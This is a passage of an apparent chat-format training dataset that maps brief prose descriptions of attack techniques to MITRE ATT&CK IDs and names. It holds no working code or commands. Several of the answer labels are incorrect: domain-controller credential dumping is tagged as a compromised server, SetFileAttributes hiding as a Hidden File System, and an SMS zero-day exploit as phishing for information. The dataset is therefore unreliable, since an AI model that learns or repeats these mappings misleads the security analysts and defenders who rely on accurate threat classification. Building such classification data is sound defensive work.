                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a targeted email with an attached image file that contains hidden shellcode, which is executed when the image is viewed in a vulnerable viewer."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses credential dumping tools on a domain controller to obtain privileged accounts for lateral movement to the web server farm."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries issue commands to unload cryptographic accelerator drivers, disabling all hardware encryption capabilities."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary places a malicious .lnk file in the user's Startup directory so it runs every time the user logs on."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers issue the \"hostname\" command on a victim host to obtain the device's network name and domain membership."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing script writes stolen passwords to a hidden file hidden by using the \"SetFileAttributes\" function with the hidden attribute."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced threat actor engages in baiting attacks by leaving malware-infected storage devices in public areas where they are likely to be found and used by employees, compromising the security of their organization's network."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers use a custom protocol over port 443, encrypting stolen data symmetrically and sending it to an external server, making the traffic look like regular HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary scraped the target organization's public website and LinkedIn profiles to compile a list of employee names, email addresses, and job titles."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deploying a counterfeit Active Directory domain controller to manipulate Group Policy and exfiltrate credentials."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor calls the VMware vSphere API to spin up a new virtual machine within the victim's private cloud."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes a command that sets the safe boot option in the BCD store, causing the system to reboot in Safe Mode."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a management API to request the complete configuration of a VPN concentrator, extracting authentication details."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors perform VBA stomping by modifying the VBA module of a Word file, erasing original scripts and inserting their own payload."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software creates a hidden COM object that registers a custom class ID, enabling it to send data between its components and the Windows Explorer process."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes the creation of a hidden subdirectory named 'Resources' within the program's installation path, containing additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses the rundll32.exe utility to execute a malicious DLL in memory."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker tampers with the client-side game executable to embed a cheat that also opens a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a compromised GCP Cloud Function to call the metadata server and obtain a short‑lived service account key, then accessed other cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a vulnerable Docker daemon socket to escape the container and gain host‑level root."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exfiltrates the victim's address book from a compromised Google Workspace account, capturing all associated email addresses."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a new .service file and associated .timer unit to persistently run a cryptominer after each reboot."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is executed directly from memory by embedding PowerShell scripts in registry keys, avoiding any files on disk."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies existing Outlook rules to include a command that launches a hidden PowerShell payload whenever a new mail is received."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor hijacks the proxy functionality of a signed IDE to deliver and run ransomware on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a credential scraper to pull stored passwords from the Vivaldi browser's profile directory."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects code into LSASS and reads its memory to steal domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script reads LSASS memory directly to obtain clear‑text passwords from the system."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a victim's DNS provider account to redirect traffic from the victim's domain to malicious servers."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits a vulnerability in the password manager's sync feature to download all user credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using WebSocket connections, the attacker establishes a persistent channel to stream stolen data out of the network."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a WMI Event Subscription that triggers a payload when a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension injects code into visited sites, altering content to display counterfeit advertisements."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet of compromised surveillance cameras is orchestrated to capture video feeds and send them to the attacker’s data repository."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit sends exfiltrated data through DNS TXT records, impersonating legitimate DNS text responses."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a massive amount of ICMP echo request packets to overwhelm the target's network bandwidth, causing a denial-of-service condition."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries hook the Credential UI Prompt API in macOS to capture credentials during login dialogs."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team activity involved scanning for open SNMP agents using the community string 'public' across the internal network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromised a serverless function on Google Cloud Functions to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs dsquery group -limit 0 to discover all domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script scans for services with permissive ACLs, then writes a malicious executable path to the service's registry entry to hijack execution."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan uses QueueUserAPC to schedule its payload on a low‑privilege process, achieving stealthy code injection."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign's payload communicates over apparently normal POP3 sessions."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs message queue (MSMQ) to pass instructions between compromised processes on the same host."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs a symmetric encryption routine using a randomly generated key stored in memory to protect its C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary triggers a large number of file hash calculations by repeatedly uploading files to a checksum service, exhausting CPU cycles."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted spear‑phishing email impersonated a TikTok support request, leading the victim to enter their login details on a spoofed page."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage team uses forged documents to set up a Microsoft 365 email account, then uses it to harvest internal documents."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests an AWS IAM role access token from an EC2 instance's metadata service and uses it to enumerate S3 buckets across the account."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using domain fronting, the threat actor tunnels data through popular cloud services like Google Cloud or Amazon AWS, making network traffic appear as normal HTTPS to trusted domains."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a legitimate signed binary, strips its signature, and re‑applies a fake signature that fails validation, to masquerade as a trusted component."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group obtained a code signing certificate by phishing a company's software development manager and extracting the private key."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Compatibility Assistant, the threat actor creates a fake shim that redirects the execution flow of a standard Windows service to a malicious executable, employing application shimming."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses AWS Secrets Manager via compromised IAM credentials to retrieve SSH private keys."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor encodes configuration data using a simple substitution cipher to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker configures a recurring cron entry to run a data exfiltration tool every hour on a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs code packing techniques to compress and encrypt the executable binary."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the system-wide com.apple.loginwindow.plist to automatically start a malicious daemon."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses the BloodHound PowerShell ingestor to collect domain group data."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the Verclsid.exe binary by associating a malicious payload with its CLSID entry and then invoking Verclsid to execute the payload stealthily."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential-stealing tool queries the registry for software version information to tailor further exploits."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber group inserts a backdoor into a third‑party software package’s installer, causing it to be installed on all client machines that download updates."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor tampers with the KernelCallbackTable structures to hijack system callbacks for malicious purposes."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a misconfigured Docker daemon API that is exposed without authentication, retrieving the container registry passwords stored in environment variables."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates information by throttling upload bandwidth, ensuring each transfer remains under the size limit set by the firewall."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages serverless function versioning to roll back to a malicious version after detection attempts."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs an LDAP query for the attribute `trustedDomain` to discover external domain trusts."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack leverages low-level disk I/O to copy raw volume data, avoiding detection by file-based monitors."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers sent a text message (SMS) with a link to a malicious mobile site that exploits a zero‑day in the device’s messaging app."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool runs a batch file that adds a new user account and sets a weak password for easy login."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors corrupt the BIOS firmware, rendering the hardware inoperable."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed SMTP to exfiltrate data, attaching encrypted archives to seemingly legitimate email messages."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PsExec, the attacker transfers a second-stage payload to remote machines in the same subnet for later execution."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party library introduces malicious code into the client software binary during build."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Word document is attached to a phishing email, and the victim must click 'Enable Content' to run the embedded malicious script."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising the authentication server, the threat actor resets the MFA requirement for targeted accounts, effectively bypassing MFA protections."
            },
            {
                "role": "assistant",
